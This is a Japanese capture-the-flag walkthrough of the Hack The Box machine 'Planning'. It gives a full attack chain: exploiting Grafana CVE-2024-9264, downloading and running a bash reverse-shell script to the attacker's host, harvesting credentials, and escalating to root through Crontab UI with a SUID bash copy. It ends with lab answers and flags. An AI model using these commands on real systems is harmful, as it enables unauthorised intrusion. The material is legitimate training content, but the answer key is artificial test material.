- 本記事の概要
- ポートスキャン
- 名前解決のためのhostsファイル更新(1回目)
- Webアクセスできるファイル/ディレクトリ調査
- Webアクセスできるサブドメイン調査
- 名前解決のためのhostsファイル更新(2回目)
- Grafanaの調査
- Grafanaの脆弱性(CVE-2024-9264)を悪用したリバースシェル
- enzoユーザーでSSHログイン
- サーバの設定及びファイル調査
- データベースの調査
- サーバのプロセス及び使用通信ポート
- ポートフォワードを用いた8000番ポートへのアクセス
- CronJobを用いたコマンド実行(idコマンド)
- CronJobを用いたコマンド実行(/bin/bashを用いた特権昇格)
- [補足] Guided ModeのQA
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Planning」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) 名前解決のためのhostsファイル更新(1回目)
(3) Webアクセスできるファイル/ディレクトリ調査
(4) Webアクセスできるサブドメイン調査
(5) 名前解決のためのhostsファイル更新(2回目)
(6) Grafanaの調査
(7) Grafanaの脆弱性(CVE-2024-9264)を悪用したリバースシェル
(8) enzoユーザーでSSHログイン
(9) サーバの設定及びファイル調査
(10) データベースの調査
(11) サーバのプロセス及び使用通信ポート
(12) ポートフォワードを用いた8000番ポートへのアクセス
(13) CronJobを用いたコマンド実行(idコマンド)
(14) CronJobを用いたコマンド実行(/bin/bashを用いた特権昇格)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 22:44 JST
Nmap scan report for 10.10.11.68
Host is up (0.31s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 449.77 ms 10.10.16.1
2 206.04 ms 10.10.11.68
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.01 seconds名前解決のためのhostsファイル更新(1回目)
(1) ブラウザを用いて「http://10.10.11.68/」にアクセスすると、「http://planning.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.68 planning.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.68 planning.htb」が出力されることを確認する。
(3) ブラウザを用いて「http://planning.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認すると、「http://planning.htb/about.php」や「http://planning.htb/detail.php」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。
$ feroxbuster -u http://planning.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301 GET 7l 12w 178c http://planning.htb/js => http://planning.htb/js/
301 GET 7l 12w 178c http://planning.htb/img => http://planning.htb/img/
301 GET 7l 12w 178c http://planning.htb/css => http://planning.htb/css/
301 GET 7l 12w 178c http://planning.htb/lib => http://planning.htb/lib/
200 GET 1l 38w 2303c http://planning.htb/lib/easing/easing.min.js
200 GET 6l 64w 2936c http://planning.htb/lib/owlcarousel/assets/owl.carousel.min.css
200 GET 8l 58w 5269c http://planning.htb/img/testimonial-1.jpg
200 GET 230l 874w 12727c http://planning.htb/about.php
200 GET 7l 158w 9028c http://planning.htb/lib/waypoints/waypoints.min.js
200 GET 21l 212w 20494c http://planning.htb/img/team-3.jpg
200 GET 220l 880w 13006c http://planning.htb/detail.php
200 GET 11l 56w 2406c http://planning.htb/lib/counterup/counterup.min.js
200 GET 201l 663w 10632c http://planning.htb/contact.php
200 GET 194l 674w 10229c http://planning.htb/course.php
200 GET 5l 89w 5527c http://planning.htb/img/testimonial-2.jpg
200 GET 137l 234w 3338c http://planning.htb/js/main.js
200 GET 60l 404w 29126c http://planning.htb/img/team-2.jpg
200 GET 128l 607w 48746c http://planning.htb/img/courses-2.jpg
200 GET 136l 656w 53333c http://planning.htb/img/courses-3.jpg
200 GET 420l 1623w 23914c http://planning.htb/index.php
ーーー(省略)ーーー
(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ gobuster dir -u http://planning.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Planning_80.txt
ーーー(省略)ーーー
/css (Status: 301) [Size: 178] [--> http://planning.htb/css/]
/img (Status: 301) [Size: 178] [--> http://planning.htb/img/]
/js (Status: 301) [Size: 178] [--> http://planning.htb/js/]
/lib (Status: 301) [Size: 178] [--> http://planning.htb/lib/]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認すると、「http://planning.htb/about.php」や「http://planning.htb/contact.php」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。
$ sudo dirsearch -u http://planning.htb/
ーーー(省略)ーーー
[23:07:39] 301 - 178B - /js -> http://planning.htb/js/
[23:07:57] 200 - 12KB - /about.php
[23:08:27] 200 - 10KB - /contact.php
[23:08:28] 301 - 178B - /css -> http://planning.htb/css/
[23:08:41] 301 - 178B - /img -> http://planning.htb/img/
[23:08:44] 403 - 564B - /js/
[23:08:46] 301 - 178B - /lib -> http://planning.htb/lib/
[23:08:46] 403 - 564B - /lib/
ーーー(省略)ーーー
(4) ffufを用いてアクセスできるURLを確認すると、「http://planning.htb/」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://planning.htb/FUZZ" -ic
ーーー(省略)ーーー
img [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 403ms]
[Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 396ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 208ms]
lib [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 228ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 201ms]
[Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 207ms
ーーー(省略)ーーー
Webアクセスできるサブドメイン調査
(1) ffufを用いてアクセスできるplanning.htbのサブドメインを調査すると、grafana.planning.htbがあることが分かる。
$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.planning.htb" -u http://planning.htb/ -fs 178
ーーー(省略)ーーー
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 250ms]
:: Progress: [100000/100000] :: Job [1/1] :: 159 req/sec :: Duration: [0:10:47] :: Errors: 0 ::
ーーー(省略)ーーー

名前解決のためのhostsファイル更新(2回目)
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.68 grafana.planning.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.68 grafana.planning.htb」が出力されることを確認する。
(2) ブラウザを用いて「http://grafana.planning.htb/」にアクセスすると、Grafanaのログインページが表示される。
Grafanaの調査
(1) Grafanaのログインページに「ユーザー名:admin」と「パスワード:0D5oT70Fq13EvB5r」を入力して、「Log in」をクリックする。
(2) 右上のHelpのアイコンをクリックすると、Grafanaのバージョンが11.0.0であることが分かる。
(3) 「Grafana 11.0.0 exploit」でGoogle検索すると、CVE-2024-9264のコマンドインジェクションの脆弱性があることが分かる。また、「https://github.com/nollium/CVE-2024-9264」に攻撃コードが公開されている。
Grafanaの脆弱性(CVE-2024-9264)を悪用したリバースシェル
(1) CVE-2024-9264の攻撃コードを実行するための準備をする。
$ git clone https://github.com/nollium/CVE-2024-9264
$ cd CVE-2024-9264
$ sudo pip3 install -r requirements.txt --break-system-packages
(2) CVE-2024-9264の攻撃コードを用いて/etc/passwdファイルの内容を確認する。
$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
(3) 攻撃対象のマシンからリバースシェルのコマンドを実行するためのスクリプト(reverse.sh)を作成する。
$ ip a
→Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.16.8」でした。
$ vi reverse.sh
【reverse.shの内容】
#!/bin/bash
/bin/bash -c ''bash -i >& /dev/tcp/10.10.16.8/4444 0>&1'
(4) 攻撃対象のマシンからスクリプト(reverse.sh)をダウンロードできるように7000番ポートでWebサービスを起動する。
$ python3 -m http.server 7000
(5) 攻撃対象のマシンからリバースシェルを受け付けるために4444番ポートで待ち受ける。
$ nc -nlvp 4444
listening on [any] 4444 ...
(6) CVE-2024-9264の攻撃コードを用いて攻撃対象のマシンからスクリプト(reverse.sh)をダウンロードするために、「wget 10.10.16.8:7000/reverse.sh」コマンドを実行する。
$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "wget 10.10.16.8:7000/reverse.sh" http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: wget 10.10.16.8:7000/reverse.sh
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('wget 10.10.16.8:7000/reverse.sh >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
--2025-05-13 13:36:19-- http://10.10.16.8:7000/reverse.sh
Connecting to 10.10.16.8:7000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45 [text/x-sh]
Saving to: 'reverse.sh'
0K 100% 2.15M=0s
2025-05-13 13:36:20 (2.15 MB/s) - 'reverse.sh' saved [45/45]
(7) CVE-2024-9264の攻撃コードを用いてスクリプト(reverse.sh)に実行権限を付与するために、「chmod +x reverse.sh」コマンドを実行する。。
$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "chmod +x reverse.sh" http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: chmod +x reverse.sh
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('chmod +x reverse.sh >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
(8) CVE-2024-9264の攻撃コードを用いてスクリプト(reverse.sh)を実行する。
$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "./reverse.sh" http://grafana.planning.htb/
(9) 「nc -nlvp 4444」コマンドを実行したリバースシェルが返ってきて、ホスト名が「7ce659d667d7」のrootユーザーでログインしていることが分かる。
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.68] 53920
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~#
(10) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
(11) rootユーザーのフラグファイルを確認しようとするが、フラグファイルがないことが分かる。
# cat /root/root.txt
cat: /root/root.txt: No such file or directory
(12) 完全なシェルを奪取する。
# which script
/usr/bin/script
$ /usr/bin/script -q /dev/null bash
[Ctrl]+[Z]でバックグラウンドに移す
$ stty raw -echo;fg
$ bash
$ export TERM=xtermenzoユーザーでSSHログイン
(1) 「ホスト名:7ce659d667d7」のマシンを調べると、環境変数(env)にenzoユーザーのパスワードが「RioTecRANDEntANT!」であることが記載されている。
# env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
TERM=xterm
AWS_AUTH_EXTERNAL_ID=
SHLVL=3
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
(2) 取得したenzoユーザーのパスワードを用いて攻撃対象のマシン(Planning)にSSHログインすると、ログインに成功する。
※Kali Linux上で以下のコマンドを実行する。
$ ssh enzo@planning.htb
→パスワード(RioTecRANDEntANT!)を入力する。
(3) 現在ログインしているユーザー情報を確認すると、enzoユーザーであることが分かる。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ id
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)
$ whoami
enzo
(4) 一般ユーザー用のフラグファイルの内容を確認する。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ cat /home/enzo/user.txt
c2fa8651e3cdb30473cf8ac99b7629f7サーバの設定及びファイル調査
(1) sudoコマンドの設定を確認しても何も設定されていないことが分かる。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ sudo -l
[sudo] password for enzo: ←パスワード(RioTecRANDEntANT!)を入力する。
Sorry, user enzo may not run sudo on planning.
(2) SUIDファイルを検索するが、特に気になるファイルはない。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/mount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/gpasswd
(3) /etc/passwdと/etc/shadowの内容を確認するが、特に気になる設定はない。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
enzo:x:1000:1000:Enzo Yamada:/home/enzo:/bin/bash
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
lxd:x:996:101::/var/snap/lxd/common/lxd:/bin/false
mysql:x:110:113:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:995:988::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
(4) cronの設定内容を確認するが、特に気になる設定はない。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ crontab -l
no crontab for enzo
(5) /opt/crontabs/crontab.dbファイルの内容を確認すると、rootユーザーが所有者で、バックアップのファイル圧縮時のパスワードが「P4ssw0rdS0pRi0T3c」ということが分かる。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ file /opt/crontabs/crontab.db
/opt/crontabs/crontab.db: New Line Delimited JSON text data
$ ll /opt/crontabs/crontab.db
-rw-r--r-- 1 root root 737 May 14 12:51 /opt/crontabs/crontab.db
$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
データベースの調査
(1) データベースの認証情報を確認するために、データベースに接続しているプログラムを検索する。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ cd /var/www/
$ find ./ -type f | xargs grep -n 'mysql'
./web/enroll.php:7:$conn = new mysqli($servername, $username, $password, $dbname);
./web/index.php:7:$conn = new mysqli($servername, $username, $password, $dbname);
(2) index.phpに記載されたデータベースの認証情報を確認する。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ cat ./web/index.php
<?php
$servername = "localhost";
$username = "root";
$password = "EXTRapHY";
$dbname = "edukate";
ーーー(省略)ーーー
(3) 取得したデータベースの認証情報を用いてデータベースに接続する。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ mysql -u root -p edukate
Enter password: ←パスワード(EXTRapHY)を入力する。
(4) テーブルの内容を確認するが、特に気になる情報がない。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ mysql> select * from enroll;
→複数のデータが出力される。サーバのプロセス及び使用通信ポート
(1) psコマンドを用いてプロセス一覧を確認するが、特に気になる内容がない。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
enzo 2801 0.0 0.2 8780 5504 pts/0 Ss 14:43 0:00 -bash
enzo 9021 0.0 0.2 8648 5504 pts/1 Ss+ 21:53 0:00 -bash
enzo 9369 0.0 0.2 10884 4352 pts/0 R+ 22:14 0:00 ps aux
(2) netstatコマンドで起動しているサービスの通信ポートを確認すると、8000番ポートが起動していることが分かる。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:35571 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:30003000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:37402 172.17.0.2:3000 FIN_WAIT2
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 1348 10.10.11.68:22 10.10.16.8:51488 ESTABLISHED
udp 0 0 127.0.0.54:53 0.0.0.0:*
udp 0 0 127.0.0.53:53 0.0.0.0:*
ーーー(省略)ーーーポートフォワードを用いた8000番ポートへのアクセス
(1) Kali Linuxの8001番ポートに接続すると、攻撃対象のマシン(Planning)の8000番にアクセスするようにポートフォワードの設定をする。
※Kali Linux上で以下のコマンドを実行する。
$ ssh enzo@planning.htb -L 8001:127.0.0.1:8000
→パスワード(RioTecRANDEntANT!)を入力する。
(2) ブラウザを用いて「http://127.0.0.1:8001/」にアクセスすると、ベーシック認証のポップアップが表示される。
今まで取得したパスワードでアクセスできるか試したところ、「ユーザー名:root」「パスワード:P4ssw0rdS0pRi0T3c」でログインに成功した。
(3) CronJobのWebページが表示される。
※CronJobとは、指定されたスケジュールに基づいて定期的にタスクを実行するための仕組み。
CronJobを用いたコマンド実行(idコマンド)
(1) 「New」をクリックする。
(2) Commandの値に「id > /tmp/id_resuult.txt」を入力して、「Save」をクリックする。
(3) 追加したJobの横にある「Run Now」をクリックする。
(4) ポップアップが表示されるため、「OK」をクリックする。
(5) idコマンドの実行結果を出力したファイルを確認すると、idコマンドはrootユーザー権限で実行されたことをが分かる。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ cat /tmp/id_resuult.txt
uid=0(root) gid=0(root) groups=0(root)
$ ls -l | grep id_resuult.txt
-rw-r--r-- 1 root root 39 May 14 13:09 id_resuult.txtCronJobを用いたコマンド実行(/bin/bashを用いた特権昇格)
(1) 「New」をクリックする。
(2) Commandの値に「cp /bin/bash /tmp/bash && chmod u+s /tmp/bash」を入力して、「Save」をクリックする。
(3) 追加したJobの横にある「Run Now」をクリックする。
(4) ポップアップが表示されるため、「OK」をクリックする。
(5) コピーしたbashを用いて特権昇格する。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
$ ls -l /tmp/bash
-rwsr-xr-x 1 root root 1446024 May 14 13:15 /tmp/bash
$ /tmp/bash -p
bash-5.2#
(6) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) groups=1000(enzo)
# whoami
root
(7) 特権ユーザー用のフラグファイルを確認する。
※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。
# cat /root/root.txt
d1637f9a9f7a6954fa1db3bfad70559b[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many open TCP ports are listening on Planning?
問題(日本語訳):Planning でリッスンしている開いている TCP ポートはいくつありますか?
答え:2
・Task 2
問題(英語訳):What subdomain of planning.htb hosts a data visualization monitoring platform?
問題(日本語訳):planning.htb のどのサブドメインがデータ視覚化監視プラットフォームをホストしていますか?
答え:grafana.planning.htb
・Task 3
問題(英語訳):What version of Grafana is running on Planning?
問題(日本語訳):Planning で実行されている Grafana のバージョンは何ですか?
答え:11.0.0
・Task 4
問題(英語訳):What password can be found in the docker container environment variables?
問題(日本語訳):Docker コンテナの環境変数にはどのようなパスワードが記載されていますか?
答え:RioTecRANDEntANT!
・Submit User Flag
問題(英語訳):Submit the flag located in enzo's home directory.
問題(日本語訳):enzo のホーム ディレクトリにあるフラグを送信します。
答え:c2fa8651e3cdb30473cf8ac99b7629f7
※「/home/enzo/user.txt」の内容
・Task 6
問題(英語訳):Which port on Planning is running another web application locally?
問題(日本語訳):Planning のどのポートで別の Web アプリケーションがローカルで実行されていますか?
答え:8000
・Task 7
問題(英語訳):What is the full path of the database file for the web application?
問題(日本語訳):Web アプリケーションのデータベース ファイルの完全パスは何ですか?
答え:/opt/crontabs/crontab.db
・Task 8
問題(英語訳):What is the name of the web application running on port 8000?
問題(日本語訳):ポート 8000 で実行されている Web アプリケーションの名前は何ですか?
答え:Crontab UI
・Submit Root Flag
問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:d1637f9a9f7a6954fa1db3bfad70559b
※「/root/root.txt」の内容。関連記事(Hack The Box)
※後日作成予定。

